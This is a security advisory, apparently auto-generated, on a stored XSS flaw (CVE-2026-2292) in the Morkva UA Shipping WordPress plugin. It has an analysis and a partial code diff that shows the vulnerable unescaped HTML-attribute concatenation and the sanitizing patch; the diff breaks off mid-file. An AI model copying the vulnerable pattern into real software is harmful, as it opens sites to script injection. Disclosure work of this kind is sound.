Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2292: Morkva UA Shipping <= 1.7.9 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'Weight, kg' Field (morkva-ua-shipping)

CVE ID CVE-2026-2292
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.7.9
Patched Version 1.7.10
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2292:
The vulnerability is a stored Cross-Site Scripting (XSS) issue in the Morkva UA Shipping WordPress plugin versions up to and including 1.7.9. The root cause is insufficient input sanitization and output escaping in the plugin’s admin settings form fields. Specifically, the `get_input_number()` method in the `MRKV_UA_SHIPPING_OPTION_FIELDS` class (file: `morkva-ua-shipping/classes/settings/global/mrkv-ua-shipping-option-fields.php`) directly embeds user-supplied `$value` and `$default_value` parameters into HTML attributes without proper escaping. The `$value_content` variable (line 66 in the patched version) concatenates these values directly into the `value` attribute of an “ element. This allows JavaScript payloads to break out of the attribute context and execute.

Exploitation requires administrator-level permissions (or higher) and targets the plugin’s weight field in admin settings. An attacker with admin access can inject malicious scripts via the ‘Weight, kg’ parameter when configuring shipping options. The payload persists in the WordPress database and executes whenever an administrator views the affected settings page. The vulnerability only affects multi-site installations or sites where the `unfiltered_html` capability is disabled, as WordPress normally strips dangerous tags for users without this capability.

The patch introduces comprehensive sanitization callbacks in the `sanitize_nova_poshta_settings()` function within `mrkv-ua-shipping-options.php`. The function now processes all input fields with appropriate sanitization functions: `sanitize_text_field()` for text inputs, `floatval()` for numeric fields like weight, and `sanitize_textarea_field()` for textareas. For the weight parameter specifically, the patch applies `floatval($shipment[‘weight’])` (line 139) which converts any malicious string to a numeric value, neutralizing XSS payloads. The patch also restructures the settings registration to use array-based options with dedicated sanitization callbacks.

If exploited, this vulnerability allows authenticated attackers with administrator privileges to inject arbitrary JavaScript that executes in the context of other administrators viewing plugin settings. This can lead to session hijacking, site defacement, or further privilege escalation within the WordPress dashboard.

Differential between vulnerable and patched code

Code Diff
--- a/morkva-ua-shipping/classes/settings/global/mrkv-ua-shipping-option-fields.php
+++ b/morkva-ua-shipping/classes/settings/global/mrkv-ua-shipping-option-fields.php
@@ -3,282 +3,282 @@
 if ( ! defined( 'ABSPATH' ) ) exit;

 # Check if class exist
-if (!class_exists('MRKV_UA_SHIPPING_OPTION_FILEDS'))
+if (!class_exists('MRKV_UA_SHIPPING_OPTION_FIELDS'))
 {
-	/**
-	 * Class for setup plugin global options fields
-	 */
-	class MRKV_UA_SHIPPING_OPTION_FILEDS
-	{
-		/**
-		 * Constructor for plugin global options fields
-		 * */
-		function __construct()
-		{
-
-		}
-
-		/**
-		 * Get text input data
-		 * @var string Label
-		 * @var string Name
-		 * @var string Value
-		 * @var string ID
-		 * @var string Default value
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_input_text($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $disabled = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$value_content = $value ? $value : $default_value;
-	    	$name_content = $name ? '<input ' . $disabled . ' id="' . $id . '" type="text" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '">' : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-
-	    	# Create HTML
-	    	$html = '' . $label_content . $name_content . $description_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get text input data
-		 * @var string Label
-		 * @var string Name
-		 * @var string Value
-		 * @var string ID
-		 * @var string Default value
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$value_content = $value ? $value : $default_value;
-	    	$max_content = $max ? 'max="' . $max . '"' : '';
-	    	$name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-
-	    	# Create HTML
-	    	$html = '<div>' . $label_content . $description_content . '</div>' . $name_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get select data
-		 * @var string Label
-		 * @var string Name
-		 * @param array Options
-		 * @var string Value
-		 * @var string ID
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_select_simple($label, $name, $options, $value = '', $id = '', $placeholder = '', $description = '', $multiple = '', $readonly = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-	    	$value_content = $value || $value == '0' ? $value : '';
-	    	$options_content = $placeholder ? '<option value="">' . $placeholder . '</option>' : '';
-
-	    	if(is_array($options))
-	    	{
-	    		foreach($options as $key => $value)
-		    	{
-		    		$checked = ($value_content == $key) ? 'selected' : '';
-		    		$options_content .= '<option value="' . $key . '" ' . $checked . '>' . $value . '</option>';
-		    	}
-	    	}
-
-	    	$name_content = $name ? '<select ' . $readonly . ' ' . $multiple . ' id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
-
-	    	# Create HTML
-	    	$html = '' . $label_content . $name_content . $description_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get select data
-		 * @var string Label
-		 * @var string Name
-		 * @param array Options
-		 * @var string Value
-		 * @var string ID
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_select_multiple($label, $name, $options, $value = array(), $id = '', $placeholder = '', $description = '', $multiple = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-	    	$options_content = $placeholder ? '<option value="">' . $placeholder . '</option>' : '';
-	    	if(!is_array($value) && !$value)
-	    	{
-	    		$value = array();
-	    	}
-	    	elseif(!is_array($value))
-	    	{
-	    		$value = array($value);
-	    	}
-
-	    	if(is_array($options))
-	    	{
-	    		foreach($options as $key => $value_option)
-		    	{
-		    		$checked = (in_array($key, $value)) ? 'selected' : '';
-		    		$options_content .= '<option value="' . $key . '" ' . $checked . '>' . $value_option . '</option>';
-		    	}
-	    	}
-
-	    	$name_content = $name ? '<select ' . $multiple . ' id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
-
-	    	# Create HTML
-	    	$html = '' . $label_content . $name_content . $description_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get select data
-		 * @var string Label
-		 * @var string Name
-		 * @param array Options
-		 * @var string Value
-		 * @var string ID
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_select_tag($label, $name, $options, $value = '', $id = '', $placeholder = '', $description = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-	    	$value_content = $value ? $value : '';
-	    	$options_content = '<option value="">' . $placeholder . '</option>';
-
-	    	if(is_array($options))
-	    	{
-	    		foreach($options as $key => $value)
-		    	{
-		    		$attributes = '';
-
-		    		if(!empty($value['attr']))
-		    		{
-		    			foreach($value['attr'] as $attr_key => $attr_value)
-		    			{
-		    				$attributes .= ' data-' . strtolower($attr_key) . '="' . $attr_value . '"';
-		    			}
-		    		}
-
-		    		$checked = ($value_content == $value['data']) ? 'selected' : '';
-		    		$options_content .= '<option ' . $attributes . ' value="' . $value['data'] . '" ' . $checked . '>' . $value['description'] . '</option>';
-		    	}
-	    	}
-
-	    	$name_content = $name ? '<select id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
-
-	    	# Create HTML
-	    	$html = '' . $label_content . $name_content . $description_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get select data
-		 * @var string Name
-		 * @var string Value
-		 * @var string ID
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_input_hidden($name, $value = '', $id = '')
-	    {
-	    	# Create HTML
-	    	$html = $name ? '<input id="' . $id . '" type="hidden" name="' . $name . '" value="' . $value . '">' : '';
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    public function get_input_radio($label, $name, $data, $value = '', $id = '', $default_value = '', $readonly = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$checked = ($value == $data) ? 'checked' : '';
-	    	$checked = (!$value && $value !== '0' && ($default_value == $data)) ? 'checked' : $checked;
-	    	$name_content = $name ? '<input ' . $readonly . ' id="' . $id . '" type="radio" name="' . $name . '" value="' . $data . '" ' . $checked . '>' : '';
-
-	    	# Create HTML
-	    	$html = $name_content . $label_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-
-	    public function get_input_checkbox($label, $name, $value = '', $id = '', $default_value = '', $disabled = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label class="mrkv-checkbox-line" for="' . $id . '"><div class="admin_mrkv_ua_shipping__checkbox__input">
+    /**
+     * Class for setup plugin global options fields
+     */
+    class MRKV_UA_SHIPPING_OPTION_FIELDS
+    {
+        /**
+         * Constructor for plugin global options fields
+         * */
+        function __construct()
+        {
+
+        }
+
+        /**
+         * Get text input data
+         * @var string Label
+         * @var string Name
+         * @var string Value
+         * @var string ID
+         * @var string Default value
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_input_text($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $disabled = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $value_content = $value ? $value : $default_value;
+            $name_content = $name ? '<input ' . $disabled . ' id="' . $id . '" type="text" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '">' : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+
+            # Create HTML
+            $html = '' . $label_content . $name_content . $description_content;
+
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get text input data
+         * @var string Label
+         * @var string Name
+         * @var string Value
+         * @var string ID
+         * @var string Default value
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $value_content = $value ? $value : $default_value;
+            $max_content = $max ? 'max="' . $max . '"' : '';
+            $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+
+            # Create HTML
+            $html = '<div>' . $label_content . $description_content . '</div>' . $name_content;
+
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get select data
+         * @var string Label
+         * @var string Name
+         * @param array Options
+         * @var string Value
+         * @var string ID
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_select_simple($label, $name, $options, $value = '', $id = '', $placeholder = '', $description = '', $multiple = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+            $value_content = $value || $value == '0' ? $value : '';
+            $options_content = $placeholder ? '<option value="">' . $placeholder . '</option>' : '';
+
+            if(is_array($options))
+            {
+                foreach($options as $key => $value)
+                {
+                    $checked = ($value_content == $key) ? 'selected' : '';
+                    $options_content .= '<option value="' . $key . '" ' . $checked . '>' . $value . '</option>';
+                }
+            }
+
+            $name_content = $name ? '<select ' . $multiple . ' id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
+
+            # Create HTML
+            $html = '' . $label_content . $name_content . $description_content;
+
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get select data
+         * @var string Label
+         * @var string Name
+         * @param array Options
+         * @var string Value
+         * @var string ID
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_select_multiple($label, $name, $options, $value = array(), $id = '', $placeholder = '', $description = '', $multiple = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+            $options_content = $placeholder ? '<option value="">' . $placeholder . '</option>' : '';
+            if(!is_array($value) && !$value)
+            {
+                $value = array();
+            }
+            elseif(!is_array($value))
+            {
+                $value = array($value);
+            }
+
+            if(is_array($options))
+            {
+                foreach($options as $key => $value_option)
+                {
+                    $checked = (in_array($key, $value)) ? 'selected' : '';
+                    $options_content .= '<option value="' . $key . '" ' . $checked . '>' . $value_option . '</option>';
+                }
+            }
+
+            $name_content = $name ? '<select ' . $multiple . ' id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
+
+            # Create HTML
+            $html = '' . $label_content . $name_content . $description_content;
+
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get select data
+         * @var string Label
+         * @var string Name
+         * @param array Options
+         * @var string Value
+         * @var string ID
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_select_tag($label, $name, $options, $value = '', $id = '', $placeholder = '', $description = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+            $value_content = $value ? $value : '';
+            $options_content = '<option value="">' . $placeholder . '</option>';
+
+            if(is_array($options))
+            {
+                foreach($options as $key => $value)
+                {
+                    $attributes = '';
+
+                    if(!empty($value['attr']))
+                    {
+                        foreach($value['attr'] as $attr_key => $attr_value)
+                        {
+                            $attributes .= ' data-' . strtolower($attr_key) . '="' . $attr_value . '"';
+                        }
+                    }
+
+                    $checked = ($value_content == $value['data']) ? 'selected' : '';
+                    $options_content .= '<option ' . $attributes . ' value="' . $value['data'] . '" ' . $checked . '>' . $value['description'] . '</option>';
+                }
+            }
+
+            $name_content = $name ? '<select id="' . $id . '" type="text" name="' . $name . '" >' . $options_content . '</select>' : '';
+
+            # Create HTML
+            $html = '' . $label_content . $name_content . $description_content;
+
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get select data
+         * @var string Name
+         * @var string Value
+         * @var string ID
+         *
+         * @return string HTML
+         * */
+        public function get_input_hidden($name, $value = '', $id = '')
+        {
+            # Create HTML
+            $html = $name ? '<input id="' . $id . '" type="hidden" name="' . $name . '" value="' . $value . '">' : '';
+
+            # Return data
+            return $html;
+        }
+
+        public function get_input_radio($label, $name, $data, $value = '', $id = '', $default_value = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $checked = ($value == $data) ? 'checked' : '';
+            $checked = (!$value && $value !== '0' && ($default_value == $data)) ? 'checked' : $checked;
+            $name_content = $name ? '<input id="' . $id . '" type="radio" name="' . $name . '" value="' . $data . '" ' . $checked . '>' : '';
+
+            # Create HTML
+            $html = $name_content . $label_content;
+
+            # Return data
+            return $html;
+        }
+
+        public function get_input_checkbox($label, $name, $value = '', $id = '', $default_value = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label class="mrkv-checkbox-line" for="' . $id . '"><div class="admin_mrkv_ua_shipping__checkbox__input">
                     <span class="admin_mrkv_ua_shipping_slider"></span>
                 </div>' . $label . '</label>' : '';
-	    	$checked = ($value && ($value == 'on')) ? 'checked' : '';
-	    	$name_content = $name ? '<input ' . $disabled . ' id="' . $id . '" type="checkbox" name="' . $name . '" ' . $checked . '>' : '';
+            $checked = ($value && ($value == 'on')) ? 'checked' : '';
+            $name_content = $name ? '<input id="' . $id . '" type="checkbox" name="' . $name . '" ' . $checked . '>' : '';

-	    	# Create HTML
-	    	$html = $name_content . $label_content;
+            # Create HTML
+            $html = $name_content . $label_content;

-	    	# Return data
-	    	return $html;
-	    }
-
-	    /**
-		 * Get text input data
-		 * @var string Label
-		 * @var string Name
-		 * @var string Value
-		 * @var string ID
-		 * @var string Default value
-		 * @var string Placeholder
-		 * @var string Description
-		 *
-		 * @return string HTML
-		 * */
-	    public function get_textarea($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '')
-	    {
-	    	# Get all fields
-	    	$label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
-	    	$value_content = $value ? $value : $default_value;
-	    	$name_content = $name ? '<textarea ' . $readonly . ' id="' . $id . '" name="' . $name . '" placeholder="' . $placeholder . '">' . $value_content : '';
-	    	$description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
-
-	    	$name_content_end = $name_content ? '</textarea>' : '';
-
-	    	# Create HTML
-	    	$html = '' . $label_content . $name_content . $name_content_end . $description_content;
-
-	    	# Return data
-	    	return $html;
-	    }
-	}
+            # Return data
+            return $html;
+        }
+
+        /**
+         * Get text input data
+         * @var string Label
+         * @var string Name
+         * @var string Value
+         * @var string ID
+         * @var string Default value
+         * @var string Placeholder
+         * @var string Description
+         *
+         * @return string HTML
+         * */
+        public function get_textarea($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '')
+        {
+            # Get all fields
+            $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : '';
+            $value_content = $value ? $value : $default_value;
+            $name_content = $name ? '<textarea id="' . $id . '" name="' . $name . '" placeholder="' . $placeholder . '">' . $value_content : '';
+            $description_content = $description ? '<p class="mrkv-ua-ship-description">' . $description . '</p>' : '';
+
+            $name_content_end = $name_content ? '</textarea>' : '';
+
+            # Create HTML
+            $html = '' . $label_content . $name_content . $name_content_end . $description_content;
+
+            # Return data
+            return $html;
+        }
+    }
 }
 No newline at end of file
--- a/morkva-ua-shipping/classes/settings/global/mrkv-ua-shipping-options.php
+++ b/morkva-ua-shipping/classes/settings/global/mrkv-ua-shipping-options.php
@@ -47,10 +47,414 @@
 		        # Loop of option
 		        foreach ($options as $option)
 		        {
-		        	# Register option
-		            register_setting('mrkv-ua-shipping-' . $slug .'-group', $option);
+		        	$option_name = $slug . '_m_ua_settings';
+			        register_setting(
+			            'mrkv-ua-shipping-' . $slug . '-group',
+			            $option_name,
+			            array(
+			                'type'              => 'array',
+			                'sanitize_callback' => array($this, 'sanitize_' . str_replace('-', '_', $slug) . '_settings'),
+			                'default'           => array(),
+			            )
+			        );
 		        }
 			}
 	    }
+
+	    public function sanitize_nova_poshta_settings( $input )
+		{
+		    if ( ! current_user_can( 'manage_options' ) ) {
+		        return [];
+		    }
+
+		    # Get current saved options to preserve untouched sections
+		    $current = get_option( 'nova-poshta_m_ua_settings', [] );
+		    $output = $current;
+
+		    # --- API Key ---
+		    $output['api_key'] = isset( $input['api_key'] ) ? sanitize_text_field( $input['api_key'] ) : '';
+
+		    # --- Sender ---
+		    if ( isset( $input['sender'] ) && is_array( $input['sender'] ) ) {
+		        $sender = $input['sender'];
+		        $output['sender'] = [
+		            'ref'            => isset( $sender['ref'] ) ? sanitize_text_field( $sender['ref'] ) : '',
+		            'description'    => isset( $sender['description'] ) ? sanitize_textarea_field( $sender['description'] ) : '',
+		            'phones'         => isset( $sender['phones'] ) ? sanitize_text_field( $sender['phones'] ) : '',
+		            'email'          => isset( $sender['email'] ) ? sanitize_email( $sender['email'] ) : '',
+		            'firstname'      => isset( $sender['firstname'] ) ? sanitize_text_field( $sender['firstname'] ) : '',
+		            'lastname'       => isset( $sender['lastname'] ) ? sanitize_text_field( $sender['lastname'] ) : '',
+		            'middlename'     => isset( $sender['middlename'] ) ? sanitize_text_field( $sender['middlename'] ) : '',
+		            'counterparty_ref' => isset( $sender['counterparty_ref'] ) ? sanitize_text_field( $sender['counterparty_ref'] ) : '',
+		            'list'           => isset( $sender['list'] ) ? wp_kses_post( $sender['list'] ) : '',
+		            'address_type'   => isset( $sender['address_type'] ) ? sanitize_text_field( $sender['address_type'] ) : 'W',
+		            'city'           => isset( $sender['city'] ) && is_array( $sender['city'] ) ? [
+		                'name' => isset( $sender['city']['name'] ) ? sanitize_text_field( $sender['city']['name'] ) : '',
+		                'ref'  => isset( $sender['city']['ref'] ) ? sanitize_text_field( $sender['city']['ref'] ) : '',
+		            ] : [],
+		            'warehouse'      => isset( $sender['warehouse'] ) && is_array( $sender['warehouse'] ) ? [
+		                'name'   => isset( $sender['warehouse']['name'] ) ? sanitize_text_field( $sender['warehouse']['name'] ) : '',
+		                'ref'    => isset( $sender['warehouse']['ref'] ) ? sanitize_text_field( $sender['warehouse']['ref'] ) : '',
+		                'number' => isset( $sender['warehouse']['number'] ) ? sanitize_text_field( $sender['warehouse']['number'] ) : '',
+		            ] : [],
+		            'street'         => isset( $sender['street'] ) && is_array( $sender['street'] ) ? [
+		                'name'  => isset( $sender['street']['name'] ) ? sanitize_text_field( $sender['street']['name'] ) : '',
+		                'ref'   => isset( $sender['street']['ref'] ) ? sanitize_text_field( $sender['street']['ref'] ) : '',
+		                'house' => isset( $sender['street']['house'] ) ? sanitize_text_field( $sender['street']['house'] ) : '',
+		                'flat'  => isset( $sender['street']['flat'] ) ? sanitize_text_field( $sender['street']['flat'] ) : '',
+		            ] : [],
+		            'address'        => isset( $sender['address'] ) && is_array( $sender['address'] ) ? [
+		                'ref' => isset( $sender['address']['ref'] ) ? sanitize_text_field( $sender['address']['ref'] ) : '',
+		            ] : [],
+		        ];
+		    }
+
+		    # --- Payer (Default Settings) --- NEW SECTION
+		    if ( isset( $input['payer'] ) && is_array( $input['payer'] ) ) {
+		        $payer = $input['payer'];
+		        $output['payer'] = [
+		            'delivery' => isset( $payer['delivery'] ) ? sanitize_text_field( $payer['delivery'] ) : 'Recipient',
+		            'cash'     => isset( $payer['cash'] ) ? sanitize_text_field( $payer['cash'] ) : 'Recipient',
+		        ];
+		    } elseif ( ! isset( $output['payer'] ) ) {
+		        $output['payer'] = [ 'delivery' => 'Recipient', 'cash' => 'Recipient' ];
+		    }
+
+		    # --- Default Addresses (legacy) ---
+		    $output['default_addresses'] = isset( $input['default_addresses'] ) ? sanitize_text_field( $input['default_addresses'] ) : '0';
+
+		    # --- Shipment ---
+		    if ( isset( $input['shipment'] ) && is_array( $input['shipment'] ) ) {
+		        $shipment = $input['shipment'];
+		        $output['shipment'] = [
+		            'type'            => isset( $shipment['type'] ) ? sanitize_text_field( $shipment['type'] ) : 'Parcel',
+		            'payment'         => isset( $shipment['payment'] ) ? sanitize_text_field( $shipment['payment'] ) : 'Cash',
+		            'weight'          => isset( $shipment['weight'] ) ? floatval( $shipment['weight'] ) : 0,
+		            'length'          => isset( $shipment['length'] ) ? floatval( $shipment['length'] ) : 0,
+		            'width'           => isset( $shipment['width'] ) ? floatval( $shipment['width'] ) : 0,
+		            'height'          => isset( $shipment['height'] ) ? floatval( $shipment['height'] ) : 0,
+		            'volume'          => isset( $shipment['volume'] ) ? floatval( $shipment['volume'] ) : 0,
+		            'description'     => isset( $shipment['description'] ) ? sanitize_textarea_field( $shipment['description'] ) : '',
+		            'cart_total'      => isset( $shipment['cart_total'] ) ? sanitize_text_field( $shipment['cart_total'] ) : '',
+		            'prepayment_type' => isset( $shipment['prepayment_type'] ) ? sanitize_text_field( $shipment['prepayment_type'] ) : 'value_total',
+		            'prepayment'      => isset( $shipment['prepayment'] ) ? sanitize_text_field( $shipment['prepayment'] ) : '',
+		        ];
+		    }
+
+		    # --- International (inter) ---
+		    if ( isset( $input['inter'] ) && is_array( $input['inter'] ) ) {
+		        $inter = $input['inter'];
+		        $output['inter'] = [
+		            'payer'            => isset( $inter['payer'] ) ? sanitize_text_field( $inter['payer'] ) : '',
+		            'cart_total'       => isset( $inter['cart_total'] ) ? sanitize_text_field( $inter['cart_total'] ) : '',
+		            'division_address' => isset( $inter['division_address'] ) ? sanitize_text_field( $inter['division_address'] ) : '',
+		            'division_id'      => isset( $inter['division_id'] ) ? sanitize_text_field( $inter['division_id'] ) : '',
+		            'division_number'  => isset( $inter['division_number'] ) ? sanitize_text_field( $inter['division_number'] ) : '',
+		            'shipment_type'    => isset( $inter['shipment_type'] ) ? sanitize_text_field( $inter['shipment_type'] ) : 'Parcel',
+		            'weight'           => isset( $inter['weight'] ) ? floatval( $inter['weight'] ) : 0,
+		            'length'           => isset( $inter['length'] ) ? floatval( $inter['length'] ) : 0,
+		            'width'            => isset( $inter['width'] ) ? floatval( $inter['width'] ) : 0,
+		            'height'           => isset( $inter['height'] ) ? floatval( $inter['height'] ) : 0,
+		            'volume'           => isset( $inter['volume'] ) ? floatval( $inter['volume'] ) : 0,
+		        ];
+		    }
+
+		    # --- Automation --- (FIXED structure to match form)
+		    if ( isset( $input['automation'] ) && is_array( $input['automation'] ) ) {
+		        $automation = $input['automation'];
+		        $output['automation'] = [
+		            'payment_control' => isset( $automation['payment_control'] ) ? sanitize_text_field( $automation['payment_control'] ) : 'off',
+		            'autocreate'      => [
+		                'enabled' => isset( $automation['autocreate']['enabled'] ) ? sanitize_text_field( $automation['autocreate']['enabled'] ) : 'off',
+		            ],
+		            'status'          => [
+		                'enabled' => isset( $automation['status']['enabled'] ) ? sanitize_text_field( $automation['status']['enabled'] ) : 'off',
+		            ],
+		        ];
+		    } elseif ( ! isset( $output['automation'] ) ) {
+		        # Default automation structure if never saved
+		        $output['automation'] = [
+		            'payment_control' => 'off',
+		            'autocreate'      => [ 'enabled' => 'off' ],
+		            'status'          => [ 'enabled' => 'off' ],
+		        ];
+		    }
+
+		    # --- Checkout --- (improved middlename sub‑keys)
+		    if ( isset( $input['checkout'] ) && is_array( $input['checkout'] ) ) {
+		        $checkout = $input['checkout'];
+		        $middlename = isset( $checkout['middlename'] ) && is_array( $checkout['middlename'] ) ? $checkout['middlename'] : [];
+		        $output['checkout'] = [
+		            'position'         => isset( $checkout['position'] ) ? sanitize_text_field( $checkout['position'] ) : '',
+		            'middlename'       => [
+		                'enabled'  => isset( $middlename['enabled'] ) ? sanitize_text_field( $middlename['enabled'] ) : 'off',
+		                'required' => isset( $middlename['required'] ) ? sanitize_text_field( $middlename['required'] ) : 'off',
+		                'position' => isset( $middlename['position'] ) ? sanitize_text_field( $middlename['position'] ) : '',
+		            ],
+		            'hide_saving_data' => isset( $checkout['hide_saving_data'] ) ? sanitize_text_field( $checkout['hide_saving_data'] ) : 'off',
+		        ];
+		    }
+
+		    # --- Debug ---
+		    if ( isset( $input['debug'] ) && is_array( $input['debug'] ) ) {
+		        $debug = $input['debug'];
+		        $output['debug'] = [
+		            'log'   => isset( $debug['log'] ) ? sanitize_text_field( $debug['log'] ) : 'off',
+		            'query' => isset( $debug['query'] ) ? sanitize_text_field( $debug['query'] ) : 'off',
+		        ];
+		    }
+
+		    # --- Internal (international API) ---
+		    $output['internal_api_server'] = isset( $input['internal_api_server'] ) ? sanitize_text_field( $input['internal_api_server'] ) : 'production';
+		    $output['internal_api_key']    = isset( $input['internal_api_key'] ) ? sanitize_text_field( $input['internal_api_key'] ) : '';
+
+		    # --- Email --- (added 'auto' checkbox)
+		    if ( isset( $input['email'] ) && is_array( $input['email'] ) ) {
+		        $email = $input['email'];
+		        $output['email'] = [
+		            'subject' => isset( $email['subject'] ) ? sanitize_text_field( $email['subject'] ) : '',
+		            'content' => isset( $email['content'] ) ? sanitize_textarea_field( $email['content'] ) : '',
+		            'auto'    => isset( $email['auto'] ) ? sanitize_text_field( $email['auto'] ) : 'off', // NEW
+		        ];
+		    }
+
+		    return $output;
+		}
+
+
+	    public function sanitize_ukr_poshta_settings( $input )
+	    {
+		    if ( ! current_user_can( 'manage_options' ) ) {
+		        return [];
+		    }
+
+		    # Get current saved options to preserve unsent sections
+		    $current = get_option( 'ukr-poshta_m_ua_settings', [] );
+		    $output = $current;
+
+		    # --- API keys & test mode ---
+		    $output['production_bearer_ecom']               = isset( $input['production_bearer_ecom'] ) ? sanitize_text_field( $input['production_bearer_ecom'] ) : '';
+		    $output['production_bearer_status_tracking']    = isset( $input['production_bearer_status_tracking'] ) ? sanitize_text_field( $input['production_bearer_status_tracking'] ) : '';
+		    $output['production_cp_token']                  = isset( $input['production_cp_token'] ) ? sanitize_text_field( $input['production_cp_token'] ) : '';
+
+		    # Test mode checkbox (explicit default)
+		    $output['test_mode'] = isset( $input['test_mode'] ) ? sanitize_text_field( $input['test_mode'] ) : 'off';
+
+		    # Test (sandbox) keys
+		    $output['test_production_bearer_ecom']          = isset( $input['test_production_bearer_ecom'] ) ? sanitize_text_field( $input['test_production_bearer_ecom'] ) : '';
+		    $output['test_production_bearer_status_tracking'] = isset( $input['test_production_bearer_status_tracking'] ) ? sanitize_text_field( $input['test_production_bearer_status_tracking'] ) : '';
+		    $output['test_production_cp_token']             = isset( $input['test_production_cp_token'] ) ? sanitize_text_field( $input['test_production_cp_token'] ) : '';
+
+		    # --- Sender settings ---
+		    if ( isset( $input['sender'] ) && is_array( $input['sender'] ) ) {
+		        $sender = $input['sender'];
+		        $output['sender'] = [
